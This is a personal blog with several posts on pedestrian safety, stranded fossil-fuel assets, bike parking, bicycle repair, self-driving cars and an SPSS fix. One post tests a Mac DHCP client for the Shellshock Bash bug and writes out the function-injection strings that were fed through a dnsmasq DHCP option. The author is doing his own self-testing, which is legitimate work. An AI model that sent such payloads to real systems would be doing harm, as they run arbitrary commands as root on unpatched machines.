Running a self-driving “car” back-and-forth across a street at low speed ought to be easy compared to the general problem of driving, and it would serve a public good.

We can’t afford to staff every intersection with its own human crossing guard, but places like New York City someone in a crosswalk gets hit and killed every week, if not more so.

Rather than expect the NYPD “No criminality suspected” culture to change, let’s use robotics to even the playing field. Whenever a pedestrian should have right of way, a robot crossing guard (or two) accompanies them across the street, between them and potentially oncoming traffic. The crossing guard would be tall, built very sturdily, and weigh about, oh, 5 tons, with most of that carried low so it won’t tip over in an impact. That will give drivers an incentive to pay a little more attention to what is in front of them, and also protect pedestrians when they don’t.

I first heard about this reading Bill McKibben, but now the Bank of England has noticed.
Climate change constraints will prevent us from burning all the oil and coal that energy companies currently list as an asset.

And shares in those companies are probably in your retirement savings or pension fund, assuming you have one. Some of those companies are almost certainly customers of my (large) employer, perhaps yours too. The buggy-whip industry was nowhere near as important to our economy, and had nowhere near the financial reach or political power. There’s very many people whose salaries depend on not understanding the problem of these stranded assets.

Maybe we’ll get lucky and carbon capture will work for power plants, but as near as I can tell we should reserve liquid hydrocarbons for air travel, and do that as soon as we can.

Induced demand, again.

October 10, 2014

Add 100 more spaces of bicycle parking at the Alewife MBTA station, and what happens? 100 more bikes show up. And they’re not just abandoned — bikes get tagged and then removed after 14 days.

Arlington-side cage:
Arlington-side bike cage

Cambridge-side cage:
Cambridge-side bike cage

Old unprotected parking:
https://farm4.staticflickr.com/3860/15197059890_42fde961cf_c.jpg

More old unprotected parking:
Bikes parked next to bus way.

Unprotected parking near the Arlington cage:
Directly in front of Arlington-side cage.

A railing:
Bikes parked on railing between bus way and commuter pick-up

East entrance:
https://farm3.staticflickr.com/2941/15383436832_f209702470_c.jpg

And the new cage, pretty much full already:
New bike cage in commuter pickup area.

I tested DHCP Client on Mac OSX Mavericks to see if it is vulnerable to the Bash hole. If my test is correct, it is not. Here is my test:

First, come up with a root command that will be noticeable, and verify that it is noticeable. /usr/bin/wall is one such command, and I tested it here:

dr2chase:VM dr2chase$ sudo /usr/bin/wall /etc/syslog.conf
Password:
                                                                               
Broadcast Message from dr2chase@dr2chase.local                                 
        (/dev/ttys001) at 22:03 EDT...                                         
                                                                               
# Note that flat file logs are now configured in /etc/asl.conf                 
                                                                               
install.*						@127.0.0.1:32376                                                
                                                                               

Next, open a window to my router running Tomato and feed options to Dnsmasq, save, wait for the services to restart, then turn wifi off and on.

DnsMasqSettings

For copy-paste purposes, that string is

dhcp-option-force=114,() {ignored;}; /usr/bin/wall /etc/syslog.conf

I also tried this string to see if the bash script was running with lower privileges, yet still vulnerable:

dhcp-option-force=114,() {ignored;}; /bin/cp /etc/syslog.conf /tmp

I used these examples to get the option-setting right to Tomato, and this example to get the right option string for dnsmasq.

I verified this by setting log-dhcp and checking the logs on the router, and saw this:

Sep 27 22:25:33 janus daemon.info dnsmasq-dhcp[4580]: 1981429455 sent size: 45 option:114   28:29:20:7b:69:67:6e:6f:72:65:64:3b:7d:3b...

It should be intuitively obvious to the ASCII observer that the string was sent, spaces and all.

The executive summary is that an SKS Chainguard, Sugino XD2 double, and old Campagnolo derailer are not a compatible combination; there was no way to make it all fit. It may be that the bottom bracket (115mm, absolute minimum width) was a hindrance.

I had hoped for something like this which we had on some rental bicycles in England:
Chainguard on an English rental bike w/ derailer
but I could not find that particular chain guard, and in hindsight it looks like the cranks are curved in a way that helps it work.

I tried lots of bending and shaping, but it looked like I would never get the clearance that I needed. I think the main impediment might be the pedals.

Here’s a Flickr set documenting all the steps; I could annotate this a little better, if someone wants me to do that. I documented my mistakes, too (accidentally put chain guard on with chain trapped behind, had to dismantle to bring around, one of the adjusting screws was insanely tight).

I was originally somewhat enthusiastic about the possibilities for self-driving cars, because (in theory), they would make it much easier to carpool and/or run point-to-point transit instead of one-large-size-fits-all buses on inflexible routes.

But then, I thought about how much these cars would initially cost, and who their initial market would be. Early adopters are not buying this buying it to carpool; they’re buying it so that they can get work done on their horrible long commutes.

And then I read that Google thus far had only made it work by mapping Mountain View down to the last detail, and mapping is labor-intensive. Getting the rest of the country mapped is going to be costly. On the other hand, with their algorithm, unless you have the data, you don’t have a self-driving car. How convenient for Google. But how to get the data?

And then I realized that it gets back to the first customers — if their main value from the car is for their daily commute, which is repetitive (probably) long, if a self-driving car is instrumented well enough to record the route, the early adopters will buy the cars, train it for their commute, and it will ship the road data to the mother ship. After some small number of training runs the car can drive itself — not everywhere, but on the commute, and for each customer, that is what is important.

Note that this is far from the crazy utopian vision of self-parking cars that deal with that particular hassle, and it’s not cars traveling bumper-to-bumper in an energy- and road-space conserving pack, and it’s not cars automatically negotiating their way through signal-free intersections — it’s for the commute. Eventually this will lead to enough mapped roads to actually count as “coverage”, and people will be able to buy cars and expect that they’ll know the way. But I don’t think that the cars will be programmed to optimize road use or energy consumption. Recall who is buying them and what for — the most likely goal is to drive in a way that someone riding inside and using a laptop or reading a book will not get carsick.

I’m being called in as IT consultant by my wife, who uses SPSS.
Today, mysteriously, it started INTERMITTENTLY failing with messages
like “Serialization scheme was not recognized” and “Could not instantiate a required server object”.

My snap answer (knowing that it has Java in it, and knowing that “serialization” is a magic word) was to suspect some sort of a Java version mismatch — but I didn’t see any evidence of a recent update at all. I go looking online, and all the advice tends to revolve around Java, but none of it has been updated (I looked inside the application’s package contents, nothing looked new there, there was no other new Java on the box). One thing that looked a little peculiar was in ~/Library/Application Support/IBM/SPSS/Statistics/22/Eclipse/configuration/nl/en_US/ . There, org.eclipse.osgi and org.eclipse.update had both been touched TODAY, “right around when the problems started”.

So WTFF Eclipse doing in my wife’s SPSS “Application Support”? She does not use Eclipse.

So I shut down SPSS (took it minutes at 100% CPU, ???) moved the IBM folder over out of the way (made sibling directory “NOT”, moved IBM and the other sibling SPSS folder into NOT) and restarted. This appears to have made things better.

Follow

Get every new post delivered to your Inbox.

Join 173 other followers